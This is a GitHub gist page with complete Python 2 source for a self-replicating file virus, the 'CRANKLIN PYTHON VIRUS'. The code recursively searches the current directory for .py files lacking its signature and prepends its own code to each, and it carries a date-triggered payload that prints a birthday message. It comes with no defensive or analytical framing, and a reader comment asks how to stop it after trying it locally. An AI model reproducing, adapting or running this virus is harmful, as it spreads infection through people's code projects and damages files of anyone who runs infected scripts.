Created
September 23, 2012 02:26
-
-
Save fakessh/3768587 to your computer and use it in GitHub Desktop.
infect py file
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import os | |
import datetime | |
SIGNATURE = "CRANKLIN PYTHON VIRUS" | |
def search(path): | |
filestoinfect = [] | |
filelist = os.listdir(path) | |
for fname in filelist: | |
if os.path.isdir(path+"/"+fname): | |
filestoinfect.extend(search(path+"/"+fname)) | |
elif fname[-3:] == ".py": | |
infected = False | |
for line in open(path+"/"+fname): | |
if SIGNATURE in line: | |
infected = True | |
break | |
if infected == False: | |
filestoinfect.append(path+"/"+fname) | |
return filestoinfect | |
def infect(filestoinfect): | |
virus = open(os.path.abspath(__file__)) | |
virusstring = "" | |
for i,line in enumerate(virus): | |
if i>=0 and i <39: | |
virusstring += line | |
virus.close | |
for fname in filestoinfect: | |
f = open(fname) | |
temp = f.read() | |
f.close() | |
f = open(fname,"w") | |
f.write(virusstring + temp) | |
f.close() | |
def bomb(): | |
if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: | |
print "HAPPY BIRTHDAY CRANKLIN!" | |
filestoinfect = search(os.path.abspath("")) | |
infect(filestoinfect) | |
bomb() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hey, if I wanted to try this out on my own computer, should there be a way to disable it? or does it disable when you stop running the program? I'm new to python.